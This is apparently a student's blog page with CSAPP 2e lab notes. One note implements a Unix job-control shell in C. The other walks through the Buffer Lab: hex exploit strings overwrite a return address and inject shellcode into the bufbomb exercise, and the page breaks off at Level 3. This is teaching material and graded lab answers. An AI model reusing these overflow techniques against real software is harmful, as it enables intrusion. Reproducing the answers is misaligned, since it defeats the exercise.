计算机系统 on cyp0633's Blog

CSAPP 2e Shell Lab 笔记

Wed, 25 May 2022 00:00:00 +0000

通过完成一个简单的Shell程序（称为tsh），来熟悉程序控制与信号的内容。

本笔记根据第二版材料写出，可能与第三版有一定差别。由于测试用例本身就是由浅入深的，所以本笔记也按照这个方式组织。

前置知识

建议提前阅读官方Writeup（在这里下载），并学习课本 “异常控制流” 部分。

Writeup的Hints部分包含了很多有用的提示，太多了就不一块翻译了。

在原作者所属的顶级大学CMU，这个实验是分配给两个人做7天的，可以作为参考，决定自己的工作量。

关于Shell

Shell是一个交互式命令行解释器，就是执行你命令的程序。如果已经用得比较熟了，就没必要看这个部分了。

命令是一串空格分隔的字符，第一个单词是程序名或内置命令名。如果是程序名，Shell会fork出一个进程执行它；如果是内置命令，就在当前进程中运行。

比如下面的命令：

bash

1
2

gcc     a.c    -o       a     -O2
程序名 | 参数 1 | 参数 2 | 参数 3 | 参数 4

如果一个命令以 & 结尾，则任务应在后台运行。只有一个程序可以在前台运行，而后台程序的数量没有多少限制。

Unix Shell支持任务控制，即使用Ctrl+C可以发送SIGINT信号停止任务，使用Ctrl+Z可以发送SIGTSTP暂停进程（也可能有其他行为）。此外，还应该支持 jobs 显示任务列表、bg <job> 让程序后台运行、fg <job> 让程序前台运行，以及 kill <job> 来杀掉进程。

特别地，在本Lab中，需要做到的有以下几点：

命令行prompt以 “tsh>” 开头。
不需要支持IO重定向（<>）和管道（|），这点大家在Buffer Lab里应该很熟悉。
Ctrl+C和Ctrl+Z需要向前台程序 和其后代进程 对应的信号。
如果命令以 & 结尾，将其放到后台运行。
为每个进程或工作分配一个PID或JID，JID应以 % 开头。这一部分已被实现
实现 quit、jobs、bg 和 fg 内置命令。
实现终止所有后代僵尸进程。

关于测试

每进行一次修改，都要运行 make 命令 以重新编译，然后运行 ./tsh 来执行。

本实验提供一个参考程序 tshref，做出来的 tsh 与其输出相同，便代表你是正确的。如果要测试正确性，可以在 tsh 和 tshref 中手动输入命令对比，使用sdriver.pl来自动判断，或者结合使用。目录中还有16个测试文件，可以使用如下的命令来对比测试。其中的 - p参数表示不输出命令行tsh > 开头。

bash

unix> ./sdriver.pl -t trace01.txt -s ./tsh -a "-p"
unix> ./sdriver.pl -t trace01.txt -s ./tshref -a "-p"
# 上面两个与下面两个命令等效
unix> make test01
unix> make rtest01

但也不是所有情况都需要让两个输出相同。比如运行的PID很可能甚至一定不相同。另外，trace11-13的 ps 输出可能次次不同，但重点是使进程状态相同。

此外，lab文件还带有几个测试程序，用法和作用分别如下：

mystop <n> - 睡眠n秒，然后向自己发送 SIGTSTP。
mysplit <n> - fork 一个子进程，自旋n秒。
myspin <n> - 睡眠n秒。
myint <n> - 睡眠n秒，然后向自己发送 SIGINT。

如果你想要一次对比所有测试的输出，可以使用以下的方法（参考资料4）：

在Shell Lab目录中放置这个文件和这个文件；
运行下面的命令：

bash

1
2

./judge.sh > test.log
./rjudge.sh > rtest.log

将rtest.log中的tshref全部替换为tsh，使用你喜欢的编辑器（如vscode）的正则表达式替换，将两文件的 $\d*$ 替换为10000；
使用你喜欢的对比工具（仍然可用vscode）对比test.log和rtest.log，不同应该只有 ps 命令输出的PID。

更多的用法请自行参见Writeup的Checking Your Work一节。

Tricks

个人建议使用Git进行版本控制，并进行相对密集的Commit，以分清各阶段所做的工作，并方便地回退代码。

如果你测试过程中发现无法退出tsh，可以打开另一个终端窗口，执行 killall tsh。

错误处理也可以先不做，在trace14处对照填写。

trace01

trace01.txt - 在EOF处正确地停止。

eval 函数是根据输入命令行进行对应操作的函数。在CSAPP 2e 8.4.6节（中文版P502 / 英文版P733），有 eval 函数的大致框架，先填上再说。语句作用我都填到注释里了：

void eval(char *cmdline)
{
    char *argv[MAXARGS];
    char buf[MAXLINE]; // command will be parsed and modified?
    int bg;            // whether it runs in background
    pid_t pid;
    // preprocess cmd line
    strcpy(buf, cmdline);
    bg = parseline(buf, argv); // convert the command into argv
    if (argv[0] == NULL)       // the line is empty, return
    {
        return;
    }
    // run external command
    if (!builtin_cmd(argv))
    {
        if ((pid = fork()) == 0) // this is child
        {
            if (execve(argv[0], argv, environ) <0) // execute command failed
            {
                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            int status;
            if (waitpid(pid, &status, 0) <0) // if return -1, then waiting failed
            {
                unix_error("waitfg: waitpid error");
            }
        }
        else
        {
            printf("%d %s", pid, cmdline);
        }
    }
    return;
}

这个框架做的事情如下：

使用 parseline 预处理命令行，将一整个字符串按空格分割为字符串数组；
使用 builtin_command 检测并处理内置命令，如果为内置命令，归 builtin_command 函数处理；
fork 出一个新进程；
在新进程中，execve 运行对应的程序，如果运行失败，提示错误信息，将子进程退出；
如果运行的程序是前台进程，那么就要等待前台进程结束，再继续运行shell；
否则，如果是后台进程，直接打印命令信息。

trace01只需要正确响应EOF就可以了。在课本的程序框架中，已经使用 parseline 函数将命令行解析为了参数，并判断了第一个参数是否为NULL。显然，第一个参数是NULL，后面当然更是NULL，意味着没有输入。也就是说，我们什么额外的工作都不用干……

详细的Git Commit更改见此处。通过如图：

trace02

trace02.txt - 处理内置的 quit 命令。

在tsh中，内置的命令实在 builtin_cmd 函数中处理的。只需要在其中判断一下第一个参数是否为 quit，如果是的话退出即可。

在 builtin_cmd 中插入以下代码：

    if (strcmp(argv[0], "quit") == 0) // process quit command
    {
        exit(0);
    }

详细的Git Commit更改见此处。通过如图：

trace03/04

trace03.txt - 运行一个前台任务。

trace04.txt - 运行一个后台任务。

在课本的 eval 框架中，首先使用 builtin_cmd 判断并处理内置函数，然后根据 bg 值（由 parseline 得到）判断是否在后台运行。这其中会先 fork 出一个子进程，然后使用 execve 执行目标程序。请注意，只有子进程会在运行失败时 exit。根据是否是前台任务，判断是直接打印执行详情还是等待前台进程结束。

    if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd`
    {
        if ((pid = fork()) == 0) // this is child
        {
            if (execve(argv[0], argv, environ) <0) // execute command failed
            {
                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            int status;
            if (waitpid(pid, &status, 0) <0) // if return -1, then waiting failed
            {
                unix_error("waitfg: waitpid error");
            }
        }
        else
        {
            printf("%d %s", pid, cmdline);
        }
    }

说了这么多又是什么意思？这道题又什么都不用做。

此题没有Commit，输出有一个格式问题，在trace05的commit内一起解决。通过如图。这里的job编号不同是正常现象，这个问题将在trace05中解决。

trace05

trace05.txt - 处理 jobs 内置命令。

先拿软柿子下手，将处理 jobs 命令的地方做好。tsh已经为我们实现了 listjobs 函数，可以直接放到 builtin_cmd 中。注意 return 1 用来告诉 eval 已经找到了一个内置命令，否则会提示 “command not found”。

    if (strcmp(argv[0], "jobs") == 0) // t5: process jobs command
    {
        listjobs(jobs);
        return 1; // this IS a builtin command, return 1 to notify
    }

但是不管怎么样，运行 jobs 都不会输出任何东西。毕竟在我们已有的代码里，既没有在任务开始时将其添加到任务列表，也没有在结束时将它移出。要做到将任务添加到任务列表，需要在 fork 后调用 addjob：

                printf("%s: Command not found\n", argv[0]);
                exit(0); // here only child exited
            }
        }
        addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list.
        // When bg=1, state=2; bg=0, state=1. this way it's just elegant
        if (!bg)                               // run the process in foreground:

上述代码的 addjob 中第三个参数 state 有三个取值，FG=1、BG=2、ST=3。虽然直接使用 bg+1 也是可行的方案，但这样使用三元运算符会更优雅更容易理解。

至于删除任务的工作，需要在 sigchld_handler 函数中处理。这涉及到对 waitpid 函数的更深入理解，在CSAPP 8.4.3节（中文版P496，英文版P724），提到了这样一段话，介绍了 waitpid 函数的默认行为，以及退出状态的检查方法（中翻太烂了，这是我自己翻的）：

（更改默认行为）WNOHANG|WUNTRACED：立即返回。如果等待集里面没有子进程已经终止，那么返回0；否则，返回其中一个已终止子进程的PID。

（检查回收子进程的返回状态）WIFEXITED(status)：如果子进程正常退出，即通过调用 exit 或者 return，则返回真。

Writeup中也提到 WNOHANG|WUNTRACED 或许会有用。如果没有 WNOHANG 参数，shell会一直等待，直到有一个子进程退出。而如果没有 WUNTRACED 参数，那么程序无法捕捉到STOP的子进程情况，这样会卡在trace16。

上述的前一个更改默认行为的部分对应了 waitpid 的第三个参数，后一个函数检查用于确定是否有个子进程真的退出了（而非没有子进程终止，waitpid 返回了0）。有了这些知识，可以得到实现如下，如此便可以将退出的进程从任务列表删除：

void sigchld_handler(int sig) 
{
    pid_t pid;
    int status;
    while((pid=waitpid(-1,&status,WNOHANG|WUNTRACED))>0) // check if a child has become zombie, without wait
    {
        if(WIFEXITED(status))
        {
            deletejob(jobs,pid); // remove pid from job list
        }
    }
    return;
}

这并没有结束，我们需要干其他的亿些工作。我们知道如果shell要继续运行，需要等待前台任务（如果有）结束，比如在前面的通过截图中，只有 make test04 结束后，shell才会再打印出 “cyp0633@cyp0633-R7000-Linux> ~/ 桌面…” 字样，在本实验中就是“tsh>”。但tsh有一个 waitfg 函数，看起来他们不想让我们把等待工作放到 eval 中。于是这一部分改成：

        if (!bg) // run the process in foreground:
        // wait for foreground job to terminate
        {
            waitfg(pid); // the waiting stuff should be done in `waitfg`
        }

至于 waitpid 函数的实现，Writeup中已经给了提示：

实验有一个棘手的部分，是决定 waitfg 和 sigchld 处理函数之间的工作分配。我们推荐以下方法：

- 在 waitfg 中，用一个死循环包裹 sleep 函数。

- 在 sigchld_handler 中，调用且仅调用一次 waitpid。

所谓的工作分配，指的是 waitfg 和 sigchld_handler 都有等待进程结束的功能。waitfg 的作用前面已经说明，而 sigchld_handler 负责接收任何子进程结束的信号，并将其回收，注意它是一个handler。waitfg 的实现如下：

void waitfg(pid_t pid)
{
    while (pid == fgpid(jobs))
    {
        sleep(0);
    }
    return;
}

也可以在这里调用 waitpid 等待前台进程退出，但它可能会抢走 sigchld_handler 的信号，而不会执行 deletejob。结果就是在trace05中会打印一堆tsh。那当然可以在这里也加一个 deletejob，但Writeup中指出这种工作分配是不明确的。所以最好的办法就是在有前台进程的时候一直等待。

另外还要处理 eval 中的信号问题。Writeup中提到：

在 eval 中，父进程在 fork 子进程之前，必须使用 sigprocmask 函数来阻断 SIGCHLD 信号，然后在使用 addjob 将子进程加入任务列表之后，再调用 sigprocmask 恢复 SIGCHLD 信号。因为子进程继承了父进程的中断向量，所以子进程必须在它执行新程序之前将 SIGCHILD 恢复。

父进程这样将 SIGCHLD 信号阻断，是为了避免子进程被 SIGCHLD 处理程序回收（然后被从任务列表中移除），_之后_父进程调用 addjob 时的竞态条件。

于是，我们在 eval 函数最前面声明变量的区域加入几行：

1
2

    sigset_t mask;
    sigemptyset(&mask);

然后在判断不是内置命令之后，阻断 SIGCHLD 信号，修改如下：

    if (!builtin_cmd(argv)) // built-in command is done in `builtin_cmd`
    {
        sigaddset(&mask, SIGCHLD);
        sigprocmask(SIG_BLOCK, &mask, NULL); // 5. block SIGCHLD
        if ((pid = fork()) == 0)             // this is child

然后，在子进程 execve 之前，恢复信号，修改如下：

        if ((pid = fork()) == 0)             // this is child
        {
            sigprocmask(SIG_UNBLOCK, &mask, NULL);  // 5. unblock SIGCHLD
            if (execve(argv[0], argv, environ) <0) // execute command failed

再然后，父进程 addjob 完毕后也要恢复：

        addjob(jobs, pid, bg ? BG : FG, cmdline); // add the job to job list.
        // When bg=1, state=2; bg=0, state=1. this way it's just elegant
        sigprocmask(SIG_UNBLOCK, &mask, NULL); // 5. unblock SIGCHLD
        if (!bg)                               // run the process in foreground:

这样就可以通过trace05的测试了，Git Commit见此处，通过截图如下。

trace06

trace06.txt - 将 SIGINT 信号发送到前台任务。

这个trace解决起来比较简单。最核心的，我们需要实现 SIGINT 信号的处理例程。这里使用 -pid 是为了将整个进程组的进程全部干掉。

void sigint_handler(int sig)
{
    pid_t pid = fgpid(jobs);    // get pid of foreground job
    if (kill(-pid, SIGINT) <0) // try to send SIGINT
    {
        unix_error("sigint error"); // failed
    }
    return;
}

在 tshref 中，终止进程后还会输出一行提示信息，由于这也算是子进程结束了，这部分也是在 sigchld_handler 中处理的。将函数修改为如下的样子即可。

void sigchld_handler(int sig) 
{
    pid_t pid;
    int status;
    while((pid=waitpid(-1,&status,WNOHANG|WUNTRACED))>0) // check if a child has become zombie, without wait
    {
        if(WIFEXITED(status))
        {
            deletejob(jobs,pid); // remove pid from job list
        }
        if (WIFSIGNALED(status))
        {
            printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
            deletejob(jobs, pid);
        }

    }
    if (pid < 0 && errno != ECHILD)
    {
        unix_error("waitpid error");
    }
    return;
}

还有一个坑，在Writeup中已经提到。

当你在标准Unix shell中运行你的shell时，你的shell处于前台进程组。如果你的shell创建一个子进程，那么它默认也会被加到前台进程组内。因为输入Ctrl+C会向前台进程组的所有进程发送 SIGINT 信号，所以你输入Ctrl+C也会向你的shell和你创建的子进程发送 SIGINT，这显然不对。

这里有个解决办法：在 fork 之后，execve 之前，子进程应该调用 setpgid(0, 0)，来将子进程放置到一个新的进程组内，组ID与子进程PID相同。这确保了只会有一个进程——即你的shell——处于前台进程组内。当你按下Ctrl+C，shell应该捕获 SIGINT 信号，然后将其传递到正确的前台应用（或更准确地，包含前台进程的进程组）。

长话短说，就是使用Ctrl+C结束tsh中运行的前台进程，会把shell一起干掉。解决办法就是在 execve 之前设置进程组。两个0分别代表要加入的是当前进程，以及新建一个GID=PID的组。

1
2
3

            sigprocmask(SIG_UNBLOCK, &mask, NULL);  // 5. unblock SIGCHLD
            setpgid(0, 0);                          // put the child process (0=current) into a new process group (0=current)
            if (execve(argv[0], argv, environ) <0) // execute command failed

Git Commit见此处，通过截图见下。

trace07

trace07.txt - 将 SIGINT 信号只发送到前台任务。

其实单论测试的话，上个trace的程序现在也可以直接用，能过。但测试用例没有测试没有前台任务的情况，为了让程序更完善，还是要做一处修改。

在 sigint_handler 中。需要判断是否存在前台任务，如果没有，就不需要做任何事。这样，在什么都没运行的时候按下Ctrl+C，tsh就不会直接挂掉，什么都输不进去。在没有前台任务的情况下，fgpid 会返回0，我们可以利用这个特性。

void sigint_handler(int sig)
{
    pid_t pid = fgpid(jobs);    // get pid of foreground job
    if (pid != 0) // if no foreground job (PID=0), do nothing (ONLY send to foreground)
    {
        if (kill(-pid, SIGINT) <0) // try to send SIGINT
        {
            unix_error("sigint error"); // failed
        }
    }
    return;
}

Git Commit见此处，通过截图见下。

trace08

trace08.txt - 将 SIGTSTP 信号只发送给前台任务。

SIGTSTP 对应的是Ctrl+Z。实现方法很像上两个trace的方法，只需改 sigtstp_handler 和 sigchld_handler 就行了。

首先是 sigtstp_handler：

void sigtstp_handler(int sig) 
{
    pid_t pid = fgpid(jobs);
    if (pid != 0)
    {
        if (kill(-pid, SIGTSTP) <0)
        {
            unix_error("sigtstp error");
        }
    }
    return;
}

然后是 sigchld_handler。注意这里额外地要将工作的状态改为停止（对应上文 addjob 说明处的三种状态类型）：

        if (WIFSIGNALED(status)) // SIGINT, etc.
        {
            printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
            deletejob(jobs, pid);
        }
// 插入下面的部分
        if (WIFSTOPPED(status)) // SIGTSTP, etc.
        {
            printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
            struct job_t *job = getjobpid(jobs, pid);
            job->state = ST;
        }

这样就通过了。Git Commit见此处，通过截图见下。

trace09/10

trace09.txt - 处理 bg 内置命令

trace10.txt - 处理 fg 内置命令

bg 和 fg 命令是由 do_bgfg 函数处理的，我们需要在 builtin_cmd 里添加合适的调用。

    if (strcmp(argv[0], "bg") == 0 || strcmp(argv[0], "fg") == 0) // judge bg & fg
    {
        do_bgfg(argv);
        return 1;
    }

bg 和 fg 命令的参数 <job> 可以是PID或者JID。在Writeup的Specification一节中，有这样一段话：

bg <job> 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在后台。

fg <job> 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在前台。

这么一来，用一个函数处理两个命令就显得很合理了。在 do_bgfg 函数中，要获取参数中的PID或者JID，解析为合适的任务类型指针，发送 SIGCONT 信号，然后根据前台和后台决定所要做的事情。

当然，首先不能忘了定义变量。end 的作用将在后面说明。

1
2
3

    char *id = argv[1], *end; // JID or PID
    struct job_t *job;
    int numid;

然后检查参数是否存在。

    // extract job or process
    if (id == NULL) // not specified
    {
        printf("%s command requires PID or %%jobid argument\n", argv[0]);
        return;
    }

对JID和PID的第一、二步处理是不尽相同的，斟酌再三还是分开处理为好。

首先是JID的情况。将 id 指针自增1，是为了让指针指向第一个数字，然后使用 strtol 功能将其从字符串转为数字。在转换的过程中，end 会被设定为指向被转换的最后一个数字的下一个字符。正常情况下，JID/PID并不应该包含除开头 % 号外的字符，所以 end 指向的应该是表示字符串结尾的 \0。具体可以参考这个链接，但他的判断条件只能保证不以字符开头，如果遇到类似于1a23的字符串，仍然不会提示异常，并返回1。虽然我这么做只是为了避免多遍历一遍字符串判断是否有其他字符，稍快一点，代码也优雅一点……

然后就是调用 getjobjid 得到job了，再加一个是否存在的判断。

    if (id[0] == '%') // this is a job
    {
        id++;                         // point to the number position
        numid = strtol(id, &end, 10); // convert id char[] to integer
        if (*end !='\0')             // contains non-digit characters
        {
            printf("%s: argument must be a PID or %%jobid\n", argv[0]);
            return;
        }
        job = getjobjid(jobs, numid); // try to get job
        if (job == NULL)
        {
            printf("%%%d: No such job\n", numid);
            return;
        }
    }

对于PID的情况，不同的地方只在于没有自增，换了适用于PID的函数，以及提示信息改变而已。

    else // this is a process
    {
        numid = strtol(id, &end, 10);
        if (*end !='\0')
        {
            printf("%s: argument must be a PID or %%jobid\n", argv[0]);
            return;
        }
        job = getjobpid(jobs, numid); // try to get proc
        if (job == NULL)
        {
            printf("(%d): No such process\n", atoi(id));
            return;
        }
    }

发送信号很简单，就一行。仍然是给全组发送。

`1`	`kill(-(job->pid), SIGCONT);`

最后是根据前台或者后台的要求，做出相应的行为，这与 eval 最后的行为比较类似，将 waitfg 封装起来也是便于这里再利用。

    if (strcmp(argv[0], "fg") == 0) // foreground
    {
        job->state = FG;
        waitfg(job->pid);
    }
    else // background
    {
        job->state = BG;
        printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
    }

把这些都填上，就实现了 bg 和 fg 内置命令的处理。Git Commit见此处，通过图如下。

trace11-16

trace11.txt - 将 SIGINT 信号发送给前台进程集里的每个进程

trace12.txt - 将 SIGTSTP 信号发送给前台进程集里的每个进程

trace13.txt - 将进程集里的每个停止的进程重启

trace14.txt - 简单的错误处理

trace15.txt - 全都混到一起

trace16.txt - 测试shell是否能够处理来自其他进程（而不是终端）的 SIGTSTP 和 SIGINT 信号

到上一节，我们所写的Shell应该也能够完美处理这些测试用例，你什么都不用做，应该就能看到正确的输出。
在Trace 11-12中，要做到 “发送给进程集中的每个进程”，重点在于 kill(-pid, signal) 中的负号。这表示对整个进程集发送。Trace 11中 SIGINT 把整个进程集干掉了，所以 ps 的输出应该没有任何一个 mysplit；而Trace 12让整个进程集停止，所以在 ps 的输出中，你应该能看到两个停止状态的 mysplit。关于 ps 的输出，可以参见这里。

在Trace 13中，mysplit 先被停止，然后被转到前台运行，直到结束。所以可以观察到第一个 ps 的输出中有两个等几秒，然后第二个 ps 的输出没有 mysplit。

如果说在前面不知道错误处理的文字怎么写，可以参考 make rtest14 的输出。

Trace 16的处理方法其实有点意思。在前面写的过程中，我们可以发现 SIGINT 和 SIGTSTP 的提示输出都放到了 sigchld_handler 中，而不是各自的handler函数中。因为如果放到各自的handler中，就不会在Trace 16的情况下被唤起（因为信号不是发给Shell的），而 sigchld_handler 却可以接收因任何原因造成的停止，恰巧可以使用 WIFSIGNALED 等函数判断停止原因，所以也能够实现分信号的处理。参考文献3的Step 6就是这方面的讲解，值得一看。

参考文献

https://zhuanlan.zhihu.com/p/89224358（只有代码，抄倒是可以抄）
https://hackmd.io/@KYWeng/SyK1Hk63S（讲得很详细，主要参考这篇；做到了高于实验标准）
https://www.jianshu.com/p/7f5e78e83a0e（分step的想法不错，而且Step 6讲得很好）
http://home.ustc.edu.cn/~liuly0322/blog/2022/03/19/csapp-shell/（结果测试方法值得学习，Trace 16讲得也明白）

参考文献可能有各自的许可证。

CSAPP 2e Buffer Lab 笔记

Mon, 25 Apr 2022 00:00:00 +0000

这个Lab训练了进行缓冲区溢出攻击的能力。这个Lab有点像Bomb Lab，但你每次运行所进入的level和你输入的数据有关，虽是渐进关系但可以单独挑战，并不是Bomb Lab闯关的形式。

使用的是32位实验文件，运行在Ubuntu 22.04 LTS系统上。实验文件因人而异，下述方法通用，但具体数值是不能通用的。

个人感觉这个Lab前四个Level比前面的Data Lab和Bomb Lab更简单，在英语水平尚可的情况下，更建议不参考他人文章，直接尝试阅读Writeup做题。如果你还没有Writeup，可以在这里下载。

前期准备

buflab-writeup.pdf包含了很多本实验的前置知识，以及每个Level的指引，请务必仔细阅读。简要挑几个说一下：

虽然是32位文件，但64位系统也可以运行。
每次运行Buffer Bomb，都要带 -u <username> 参数。这个参数会生成对应的Cookie，进而用于生成不同的答案。也可以使用makecookie程序只生成cookie。此处均以用户名为cyp0633为例。
如果（其实是一定）需要输入非标准ASCII字符，可以使用hex2raw，将十六进制ASCII码转换为对应的ASCII字符。这相当于一个答案的预处理器，将你输入的十六进制文本转换为程序能读取的raw二进制格式。

hex2raw的输入部分由两位十六进制码（不含前面的0x）和分隔符（空格或换行）组成。支持C语言风格注释 /* ... */ 格式（前后需要空格）。换行是一道题中多次输入答案的分隔符，而这个换行只由0a表示，不由文本中的换行表示。所以你会看到Level 4我敲了那么多行，但实际上只是五次中的一次输入的内容，也就是被bufbomb识别为一行，原本的那些换行符全部被忽略了。

如果希望更方便快捷地将输入导入bufbomb，可以使用Shell的IO重定向和pipe功能，如在将某关答案文件命名为exploit.txt的情况下：

bash

`1`	`unix> cat exploit.txt \| ./hex2raw \| ./bufbomb -u username`

如果需要使用GDB，可以先将ASCII转换为raw text，然后再使用pipe设置参数，自动导入GDB：

bash

unix> ./hex2raw <exploit.txt> exploit-raw.txt
unix> gdb bufbomb
(gdb) set args -u username < exploit-raw.txt
(gdb) run

更概括地说，你需要编写的答案形式是使用分隔符分隔的十六进制数组成的文本文档，也就是下面我提供的答案形式；但这样的程序是无法被bufbomb识别的，所以需要使用hex2raw将其转化成raw text。它的内容与你写出的答案只有细微差别，但或许不能被普通文本编辑器打开。使用上面提到的IO重定向功能将其输入bufbomb，就可以让程序处理你的答案了。上述提到的第一种方法，是将本段提到的几个步骤合起来执行；而第二种方法就是将步骤拆开执行，以适应GDB。

贴一张CSAPP 2e的栈帧示意图，熟记此图，会很有帮助。也不要忘了，栈向地址减小的方向增长（即栈顶地址小），而代码向高地址方向执行，字符串也向高地址方向存储（首位是地址最低的）。

请提前制备bufbomb的objdump反汇编文件。

下面使用的GDB含有 pwndbg 插件，可以提高GDB调试的效率。

参考文献:

https://billc.io/2019/05/csapp-bufferlab/

Level 0: Candle

Level 0的任务是，在调用 getbuf() 后，不返回到 test()，而进入 smoke() 函数。很显然，这是让我们修改返回地址。

asm

08049262 <getbuf>:K
 8049262: 55                    push   %ebp
 8049263: 89 e5                 mov    %esp,%ebp
 8049265: 83 ec 38              sub    $0x38,%esp
 8049268: 8d 45 d8              lea    -0x28(%ebp),%eax
 804926b: 89 04 24              mov    %eax,(%esp)
 804926e: e8 bf f9 ff ff        call   8048c32 <Gets>
 8049273: b8 01 00 00 00        mov    $0x1,%eax
 8049278: c9                    leave  
 8049279: c3                    ret

阅读 getbuf 的汇编代码，可以发现Gets中获取的字符串会被存放在ebp-0x28的位置，而我们需要修改的地方就是ebp+4处的返回地址。因为 getbuf 并不会检查栈的边界，所以我们可以直接输入长于预期的字符串，把返回地址覆盖掉。再查看 smoke 节的首地址为0x8048e0a，可以得出输入内容前 (0x28+4) 字节可以为任意不为0a（回车）的内容，然后接上0a 8e 04 08**（注意小端序）**。附上本题栈帧图。

Level 0栈帧

注意：本文中的栈帧都是倒过来的（相比其他博客和CSAPP原书）。

然而发现首地址中含有0a，会被错误转义成回车。我们可以跳过第一个语句，因为这并不影响跳转到验证的步骤，毕竟我们并不需要完整的栈帧就可以直接检验。最后答案为：

asm

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

最后一个答案的结尾不需要特意添加0a，hex2raw会自动在结尾添加一个。成功后提示 “Type string:Smoke !:You called smoke() VALID NICE JOB!”。

Level 1: Sparkler

这个Level和Level 0有一定相似度，目标都是阻止 getbuf 返回到 test，但这次需要跳转到 fizz，还需要将Cookie作为参数传入。

注意到advice：程序并不会真的调用 fizz，而只是运行它的代码。这意味着不会有栈帧切换，也就决定了参数的放置位置。

查看反汇编代码，发现 fizz 的首地址为0x08048daf，它就是我们需要的返回地址。像上题一样，前44个字节填入任意字符，然后45~48字节填入返回地址。但是，Cookie填到哪里呢？这需要我们看 fizz 的汇编代码。

asm

08048daf <fizz>:
 8048daf: 55                    push   %ebp
 8048db0: 89 e5                 mov    %esp,%ebp
 8048db2: 83 ec 18              sub    $0x18,%esp
 8048db5: 8b 45 08              mov    0x8(%ebp),%eax
 8048db8: 3b 05 04 d1 04 08     cmp    0x804d104,%eax

这是栈帧示意图。

Level 1栈帧

这是它的前面一部分，0x8048db5处显示，参数处于ebp+8的位置。比对writeup文档的函数原型，这就是它的唯一一个参数，也就是Cookie。刚刚填入返回地址之后，已经修改了ebp+4~~ebp+7的内容，那么ebp+8~~ebp+7可以填入任意内容，再往ebp+8处填入你的Cookie（仍然注意端序）。最终答案如下：

asm

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
/* fizz address: 0x08048daf */
00 00 00 00
3c 3d 31 1b
/* cookie: 0x1b313d3c */

成功解除后，会提示 “Type string:Fizz !: You called fizz(0x1b313d3c) VALID NICE JOB!”。

Level 2: Firecracker

有一种更加复杂的缓冲区攻击，涉及到输入编码了机器指令的字符串。这个字符串会 用堆栈上指令的起始地址覆盖返回地址，当函数执行 ret 时，程序会开始 执行栈上的指令（会先跳转过去），而不是返回（到原本的地址）。这种形式的攻击可以让程序几乎能做任何事情。你放置在栈上的代码叫做漏洞利用代码。但是，这种攻击方式是很棘手的，因为你必须把机器码放到栈上，还得把返回地址指向代码段头部。

Writeup（经本人翻译）

不愧是Writeup，题面放第二段去了，而第一段上来就把思路和主要困难说明白了。

这道题要求我们将 bang 函数中一个名为 global_value 的变量设为cookie，然后跳转到 bang 中执行。这看起来就是个全局变量，看一眼汇编代码，很容易搞到 global_value 的地址0x804d10c，bang 的首地址是0x8048d52，如果想确认也可以用GDB打一下。

有了上面的思路，大体的就明白了：将return address替换为输入的字符串中指令的开始地址，然后让其将Cookie MOV到global_value的地址中，再然后跳转到bang的首地址中。但是，writeup最后还给了我们一些提示：

可以先写汇编，用GCC编译，然后再反汇编，来得到指令对应的机器码。
字符串与机器、编译器，以及Cookie相关。可能在提醒我们64位机器编译时要加 -m32。
注意汇编的寻址模式。主要是立即数（带 $）和地址的区别。
最重要的，不要使用 jmp 或 call 这两种程序计数器相关的指令进入 bang，应该将 bang 首地址入栈，然后使用 ret。

附上栈帧结构：

Level 2栈帧

有了这些，我们就可以开始写汇编代码了，很简单的三行（注意扩展名. s）：

asm

// firecracker.s
movl $0x1b313d3c, 0x804d10c // write cookie into global_value
pushl $0x8048d52 // push bang into stack
ret // enter bang

然后使用命令

bash

1
2

unix> gcc -m32 -c firecracker.s
unix> objdump -d firecracker.o > firecracker_disasm.txt

就可以得到指令的十六进制表示了。

接下来需要得到指令的起始地址，如果直接将指令放进漏洞利用字符串的开头的话，那它就是字符串的首地址。分析 getbuf 的反汇编代码得，它位于ebp-0x28，那么直接在内部任一点打一个断点，然后打出ebp即可计算出起始地址0x55683cc8。

我们需要的字符串仍然是和前两个Level有些相似的，都是45-48字节放置返回地址，但前几个字节需要放置指令了。最终的字符串如下所示：

asm

c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */
3d 31 1b
68 52 8d 04 08 /* push $0x8048d52 */
c3 /* ret */
/* end of assembly, 16 bytes in total */
00 00 00 00 00 00 00
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 /* 7*4=28 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

当然，这样就通过了。

Level 3: Dynamite

我们之前的攻击都让程序跳转到其他函数的代码，然后程序就会退出。所以，我们可以使用会破坏栈结构的漏洞利用代码，从而覆盖保存的数值。

最复杂的缓冲区溢出攻击让程序执行一些改变寄存器 / 内存内容的代码，但程序会 返回到本来的调用者函数。调用者对攻击一无所知。但这种攻击也很复杂，因为你需要：1）把机器码放到栈上，2）把返回地址设置到这段代码开头，3）恢复被破坏的栈结构。

Writeup（经本人翻译）

这个Level比上个Level难一些，但如果GDB用得比较好，可以通过调试来窥探题目的奥秘。题目的任务就是把返回值修改为Cookie，但还要让 getbuf 正常返回到 test。成功后会输出一个Boom。

其实程序的部分跟Level 2没有太大的区别，将Cookie写入eax（存放返回值）、将 test 返回地址入栈，然后返回。返回地址可以翻汇编代码，就是调用语句的下一句。汇编代码如下：

asm

1
2
3

movl $0x1b313d3c, %eax # set cookie as return value
push $0x08048e50 # original test return address
ret # return to test

